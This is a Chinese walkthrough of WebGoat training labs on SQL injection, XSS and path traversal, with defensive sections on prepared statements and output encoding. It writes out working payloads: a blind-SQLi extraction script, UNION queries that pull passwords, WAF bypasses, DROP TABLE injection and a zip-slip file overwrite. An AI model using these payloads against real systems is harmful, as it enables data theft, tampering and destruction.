WebGoat全通关:A3-Injection
SQL Injection (intro) #
SQL 是下面三个概念的实现:
- Data Manipulation Language, DML
- Data Definition Lanaguage, DDL
- Data Control Language, DCL
DML 是最主要的部分,即增删改查
SQL 的实现为 INSERT, DELETE, UPDATE, SELECT
INSERT/UPDATE 体现完整性 (Integrity)
SELECT 体现机密性 (Confidentiality)
UPDATE/DELETE 体现可用性 (Availability)
UPDATE employees SET department='Sales' WHERE first_name = 'Tobi';
DDL 定义数据格式和数据库的结构 (schema)
SQL 的实现为 CREATE (TABLE), DROP (TABLE), ALTER (TABLE)
ALTER TABLE employees ADD COLUMN phone varchar(20);
DCL 负责实现用户访问控制的功能
SQL 的实现为 GRANT, REVOKE
GRANT ALL ON grant_rights TO unauthorized_user;
实验使用的几个 payload
123' or 1=1--aa123';UPDATE employees SET salary=100000 WHERE userid=37648--aa123';DROP TABLE access_log--aa
SQL Injection (advanced) #
实验一:联表查询 #
CREATE TABLE user_data (userid int not null,
first_name varchar(20),
last_name varchar(20),
cc_number varchar(30),
cc_type varchar(10),
cookie varchar(20),
login_count int);
CREATE TABLE user_system_data (userid int not null primary key,
user_name varchar(12),
password varchar(10),
cookie varchar(30));
实验提供了一个以 last_name 查询表一的接口,需要通过该接口的 SQL 注入漏洞查询到表二
答案:
'UNION SELECT userid,user_name,password,cookie,null,null,null FROM user_system_data--aa
唯一需要注意的是 UNION SELECT 的列数要相同
在实战中一般列数是未知的,需要攻击者自己尝试
实验二:盲注 #
给了一个登录框,要求以 Tom 登录
尝试了一下 LOGIN 接口没什么问题,但 REGISTER 的 username_reg 有注入
重放多次正常的请求可以发现:
推测这里的逻辑是这样:先用 SELECT 查询用户是否存在,再用 INSERT 插入用户数据
那么可以根据是否返回 exists 进行基于错误的注入
目标是登陆用户 tom,那么就查询 tom 的密码
有两个地方需要猜解,比较坑:名字是 ’tom’ 而不是 ‘Tom’、密码的字段是 password
首先查询长度
tom' AND LENGTH(password)<%d--aa
得到长度之后再按字符查询
tom' AND SUBSTRING(password,%d,1)<char(%d)--aa
配合二分法
#!/usr/bin/env python3
import requests
import urllib.parse
url="http://localhost:8080//WebGoat/SqlInjectionAdvanced/register"
session="91262C6E11BE0951CF2F4016521318AE"
def check(q:str):
c={
"JSESSIONID":session,
}
p = {
"username_reg":"tom' AND "+q+"--",
"email_reg":"test@test.com",
"password_reg":"test",
"confirm_password_reg":"test",
}
r=requests.put(url,params=p,cookies=c)
#print(r.text)
if "Something" in r.text:
raise ValueError(f"Bad query {q}")
return "exists" in r.text
def get_length():
query=r"LENGTH(password)<%d"
low=10
high=50
while low+1<high:
mid=(low+high)//2
if check(query%mid):
high=mid
else:
low=mid
print("get_length() says %d"%low)
return low
def get_char_at(index):
query=fr"SUBSTRING(password,{index},1)<char(%d)--"
low=33
high=127
while low+1<high:
mid=(low+high)//2
if check(query%mid):
high=mid
else:
low=mid
print("get_char_at() says %s"%chr(low))
return chr(low)
def main():
length=get_length()
data=''.join(get_char_at(i+1) for i in range(length))
print(data)
if __name__=="__main__":
main()
thisisasecretfortomonly
SQL Injection (mitigation) #
防御 SQL 注入的根本:隔离代码和数据
如何写 prepared statements:
和普通的查询相同,只是把查询参数替换成通配符 ?
然后再调用 set 接口填充
最后执行即可
实验一:写一个参数化查询的框架代码 (JDBC) #
try (Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW)) {
PreparedStatement statement = conn.prepareStatement("SELECT * FROM users WHERE name = ?");
statement.setString(1, "tom");
ResultSet results = statement.executeQuery();
if (results != null && results.first()) {
// okay
} else {
// failure
}
} catch (Exception e) {
e.printStackTrace();
}
实验二和三:绕过 WAF #
环境和上一节的实验一相同,但需要绕过一个未知的 WAF
PS: 这两个实验似乎正在开发中,直接交互会返回 404,需要参照源码的 Controller 格式发请求
使用上一节实验一的 PoC 会报错
'UNION SELECT userid,user_name,password,cookie,null,null,null FROM user_system_data--aa
答案是直接用注释绕过空格
'UNION/**/SELECT/**/userid,user_name,password,cookie,null,null,null/**/FROM/**/user_system_data--aa
对于实验三,用一样的 PoC 报错为:
显然这里是过滤了 SELECT 和 FROM
'UNION/**/SELSELECTECT/**/userid,user_name,password,cookie,null,null,null/**/FRFROMOM/**/user_system_data--aa
实验四:ORDER BY 绕过参数化查询
#
有一些业务中需要根据用户的输入排序,例如表格按照某列排序
这种情况是不适用于参数化查询的,因为列名并不是一个 SQL 值
举例:ORDER BY first_name 而不是 ORDER BY 'first_name'
一般而言会使用 String.format 或者直接拼接
connection.prepareStatement("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by " + column);
而 ORDER BY 有一个语法,后面不光可以接列名,还可以接 SELECT 表达式
ORDER BY (CASE WHEN (TRUE) THEN first_name ELSE last_name END
可以将 TRUE 换成需要的数据库查询 (bool-based)
这个实验需要查询名为 webgoat-prd 的隐藏服务器的 IP 的第一个 8 比特
先判断长度为 1 还是 2 还是 3
CASE WHEN (substring((SELECT ip from SERVERS where hostname='webgoat-prd'),4,1)='.') THEN id ELSE ip END
然后利用二分法 (0~255) 判断它的值
CASE WHEN (substring((SELECT ip from SERVERS where hostname='webgoat-prd'),4,1)<128) THEN id ELSE ip END
记得 URL 编码
104.130.219.202
Cross-Site Scripting (XSS) #
跨站脚本常见位置:
- 返回搜索字串的搜索框
- echo 输入的输入框
- 返回用户输入的报错块
- 含有用户输入的隐藏块
- 含有用户输入的另一个页面(类似二次注入)
- 消息板块
- 论坛评论
- HTTP 头
本质是创建一个冒充受害者机器的请求 masquerade
- Reflected
- DOM-based (also technically reflected)
- Stored or persistent
实验一:反射型 #
field1 有反射型 XSS
field2 被过滤了
GET /WebGoat/CrossSiteScripting/attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field1=%3Cscript%3Ealert(1)%3C%2Fscript%3E&field2=111
实验二:DOM 型 #
DOM 型就是一种特殊的反射型
为了审计 DOM 型漏洞,最好的办法就是审计路由,查看哪个路由会将输入传送回浏览器,尤其是可能会存在某些生产环境中没有去除的 test 路由
本实验就需要找到一个这样的路由
WebGoat 使用了 backbone.js 做动态前端更新
可以在浏览器控制台查看 js 路由源码
可以在上面看到路由是 test/:param
lesson 的请求形如 start.mvc#lesson/CrossSiteScripting.lesson/9
所以 test 的请求形如 start.mvc#test
这个路由的任务很简单,就是直接展示路径中的内容,显然这里有 XSS
GET /WebGoat/start.mvc#test/%3Cscript%3Ewebgoat.customjs.phoneHome()
在浏览器控制台看到答案 -648753841
Cross-Site Scripting (stored) #
存储型 XSS 最致命的一点是它的持久化特性,因为每次请求中脚本都被包含在 View 中返回
这个实验演示了存储型 XSS 被评论注入进数据库的情况
过关答案:
<script>webgoat.customjs.phoneHome()</script>
刷新页面打开后台可以看到下面的输出
{"lessonCompleted":true,"feedback":"Congratulations. You have successfully completed the assignment.","feedbackArgs":null,"output":"phoneHome Response is -959619984","outputArgs":null,"assignment":"DOMCrossSiteScripting","attemptWasMade":true}
输入 phoneHome Response is 后面的数字即可通关
Cross-Site Scripting (mitigation) #
尝试过滤 <script> 等元素并不是一个很好的解决方案
那样只会陷入无穷无尽的攻防
防御 XSS 的本质在于对低可信数据进行编解码
不光用户的输入为低可信
数据库中读取的数据同样应当看作低可信
HTML 编码举例
| Char | Escape string |
|---|---|
| < | < |
| > | > |
| " | " |
| ' | ' |
| & | & |
| / | / |
HTML 编码都是预定义的 XML 实体!(HTML 可以看作由 HTML DOCTYPE 约束的 XML 方言)
实验一:防御反射型 #
使用 OWASP Java Encoder 对参数进行 HTML 编码即可
要首先使用 JSTL 语法注册标签,再利用 JSP Expression Language 调用 Java Encoder API
具体使用方法直接看 OWASP Java Encoder 手册
<%@taglib prefix="e" uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" %>
<html>
<head>
<title>Using GET and POST Method to Read Form Data</title>
</head>
<body>
<h1>Using POST Method to Read Form Data</h1>
<table>
<tbody>
<tr>
<td><b>First Name:</b></td>
<td>${e:forHtml(param.first_name)}</td>
</tr>
<tr>
<td><b>Last Name:</b></td>
<td>${e:forHtml(param.last_name)}</td>
</tr>
</tbody>
</table>
</body>
</html>
实验二:防御存储型 #
要求使用 OWASP AntiSamy 库和 antisamy-slashdot.xml 规则文件
AntiSamy 是一个根据规则文件净化输入的库,使用方式也很简单:
import org.owasp.validator.html.*;
import MyCommentDAO;
public class AntiSamyController {
public void saveNewComment(int threadID, int userID, String newComment){
AntiSamy as = new AntiSamy();
CleanResults cr = as.scan(newComment, "antisamy-slashdot.xml");
MyCommentDAO.addComment(threadID, userID, cr.getCleanHTML());
}
}
Path Traversal #
实验一:上传到非默认地址 #
随便上传一个东西
观察上传的路径,发现它并不是随机命名然后插入数据库而是直接以用户名命名
将用户名改为 ../test 即可
实验二:过滤了 ../
#
使用 ....// 来绕过
实验三:不再使用用户名作为文件名 #
直接修改 filename="../test.png" 即可
实验四:找到隐藏的叫做 path-traversal-secret.jpg 的图片
#
先正常请求,提示请求参数是 id
id=1.jpg
HTTP/1.1 404
Location: /PathTraversal/random-picture?id=1.jpg.jpg
Content-Type: text/html
Content-Length: 550
Date: Thu, 17 Apr 2025 16:02:22 GMT
Connection: close
/home/webgoat/.webgoat-2025.3/PathTraversal/cats/10.jpg,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/2.jpg,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/9.jpg,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/3.jpg,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/7.jpg,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/6.jpg,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/1.jpg,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/4.jpg,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/5.jpg,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/8.jpg
发现后端会拼接 .jpg 并且有可能泄漏目录内容
id=../1.jpg
提示 Illegal characters,那么用编码绕过
id=%2e%2e%2f1.jpg
/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../test,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../red_boy.png,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../test.png,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../webgoat,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../cats
再泄漏一层
id=%2e%2e%2f%2e%2e%2f1.jpg
/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../../XXE,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../../webgoat.tmp,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../../PathTraversal,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../../webgoat.lck,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../../webgoat.script,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../../webgoat.log,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../../webgoat.properties,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../../path-traversal-secret.jpg,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../../ClientSideFiltering
实验五:Zip 逃逸 #
Zip 的结构是一条一条的条目,可以把它理解为键 - 值对,键为文件路径,值为文件内容
但是键是可以有上级路径的比如 ../
如果服务端未对路径做检查且解压攻击者上传的文件,文件系统中的其他文件有被复写的可能
这一关的目标是复写文件 /home/webgoat/.webgoat-2025.3/PathTraversal/webgoat/webgoat.jpg
做法是在本地复刻一个类似的文件结构,然后 zip 压缩
mkdir -p ./home/webgoat/.webgoat-2025.3/PathTraversal/webgoat/
cd ./home/webgoat/.webgoat-2025.3/PathTraversal/webgoat/
touch webgoat.jpg
zip test.zip ../../../../../home/webgoat/.webgoat-2025.3/PathTraversal/webgoat/webgoat.jpg
上传即可
这里可能会有点 tricky:运行目录可能比需要覆写的目录更深,有时 ../ 的数量不够,这就需要本地创建目录时再多创建几层